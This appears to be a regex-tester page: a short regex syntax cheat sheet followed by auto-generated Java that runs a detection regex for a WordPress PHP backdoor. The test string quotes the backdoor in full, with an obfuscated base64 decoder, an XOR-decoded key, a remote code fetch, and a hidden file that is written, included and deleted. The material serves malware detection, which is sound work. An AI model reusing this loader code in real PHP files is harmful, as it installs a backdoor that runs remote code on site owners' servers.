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  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

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import java.util.regex.Matcher; import java.util.regex.Pattern; public class Example { public static void main(String[] args) { final String regex = "^(?:[[:^print:][:cntrl:]\\s]|GIF89.{0,20})*<\\?(?:php)?\\s*.{0,800}(\\$zeeta);\\s*if \\(!\\$npdcheckclassbgp.{0,200}str_replace[\\('\",\\s\\w\\$\\);]+(\\$algo)\\s*=\\s*['\"]default[\"'];\\s*(\\$pass)\\s*=.{0,700}function_exists\\('wp_cd.{0,410}(\\$reqw)\\s*=[\\s\\$\\w\\(\"']+\\3.{0,70}\\4,\\s*(\\$mtchs).{0,300}if\\s*\\(fopen\\(\"\\$subdira\\/\\.\\2.{0,220}fwrite\\((\\$hdl)([,\\s\"'\\<\\?\\w\\\\]+)\\5[\\[\\w\\]\\\\\\?\\>\"'\\)]+;\\s*fclose\\(\\6.{0,120}\\1\\s*=\\s*[\"']yup['\"];\\s*\\}(?:[^>]+>\\s*)?(?=\\s*<\\?(?:php)?)"; final String string = "<?php\n" + "/**\n" + " * Main WordPress API\n" + " *\n" + " * @package WordPress\n" + " * Convert given date string into a different format.\n" + " *\n" + " * $format should be either a PHP date format string, e.g. 'U' for a Unix\n" + " * timestamp, or 'G' for a Unix timestamp assuming that $date is GMT.\n" + " *\n" + " * If $translate is true then the given date and format string will\n" + " * be passed to date_i18n() for translation.\n" + " *\n" + " * @since 0.24\n" + " *\n" + " * @param string $format Format of the date to return.\n" + " * @param string $date Date string to convert.\n" + " * @param bool $translate Whether the return date should be translated. Default true.\n" + " * @return string|int|bool Formatted date string or Unix timestamp. False if $date is empty.\n" + " */\n\n" + "/** Define ABSPATH as this file's directory */ \n\n" + " @ini_set('display_errors', '0');\n" + "error_reporting(0);\n" + "global $zeeta;\n" + "if (!$npDcheckClassBgp && !isset($zeeta)) {\n\n" + " $ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'default'; $pass = \"Zgc5c4MXrOhvdAwS4pBXIercM1fWdrpdmmSLH6uToRkH\";\n" + " \n" + "if (!function_exists('get_data_ya')) {\n" + " if (ini_get('allow_url_fopen')) {\n" + " function get_data_ya($m) {\n" + " $data = file_get_contents($m);\n" + " return $data;\n" + " }\n" + " }\n" + " else {\n" + " function get_data_ya($m) {\n" + " $ch = curl_init();\n" + " curl_setopt($ch, CURLOPT_HEADER, 0);\n" + " curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n" + " curl_setopt($ch, CURLOPT_URL, $m);\n" + " curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);\n" + " $data = curl_exec($ch);\n" + " curl_close($ch);\n" + " return $data;\n" + " }\n" + " }\n" + "}\n\n" + "if (!function_exists('wp_cd')) {\n" + " function wp_cd($fd, $fa=\"\") {\n" + " $fe = \"wp_frmfunct\";\n" + " $len = strlen($fd);\n" + " $ff = '';\n" + " $n = $len>100 ? 8 : 2;\n" + " while( strlen($ff)<$len ) { $ff .= substr(pack('H*', sha1('wp_frmfunct')), 0, $n); }\n" + " return $fd^$ff;\n" + " }\n" + "}\n" + " \n\n" + " $reqw = $ay($ao($oa(\"$pass\"), 'wp_function'));\n" + " preg_match('#gogo(.*)enen#is', $reqw, $mtchs);\n" + " $dirs = glob(\"*\", GLOB_ONLYDIR);\n" + " foreach ($dirs as $dira) {\n" + " if (fopen(\"$dira/.$algo\", 'w')) { $ura = 1; $eb = \"$dira/\"; $hdl = fopen(\"$dira/.$algo\", 'w'); break; }\n" + " $subdirs = glob(\"$dira/*\", GLOB_ONLYDIR);\n" + " foreach ($subdirs as $subdira) {\n" + " if (fopen(\"$subdira/.$algo\", 'w')) { $ura = 1; $eb = \"$subdira/\"; $hdl = fopen(\"$subdira/.$algo\", 'w'); break; }\n" + " }\n" + " }\n" + " if (!$ura && fopen(\".$algo\", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(\".$algo\", 'w'); }\n" + " fwrite($hdl, \"<?php\\n$mtchs[1]\\n?>\");\n" + " fclose($hdl);\n" + " include(\"{$eb}.$algo\");\n" + " unlink(\"{$eb}.$algo\");\n" + " $npDcheckClassBgp = 'aue';\n\n" + " $zeeta = \"yup\";\n\n" + " }\n" + "?> \n\n\n\n" + "<?php"; final Pattern pattern = Pattern.compile(regex, Pattern.CASE_INSENSITIVE | Pattern.DOTALL); final Matcher matcher = pattern.matcher(string); while (matcher.find()) { System.out.println("Full match: " + matcher.group(0)); for (int i = 1; i <= matcher.groupCount(); i++) { System.out.println("Group " + i + ": " + matcher.group(i)); } } } }

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Java, please visit: https://docs.oracle.com/javase/7/docs/api/java/util/regex/Pattern.html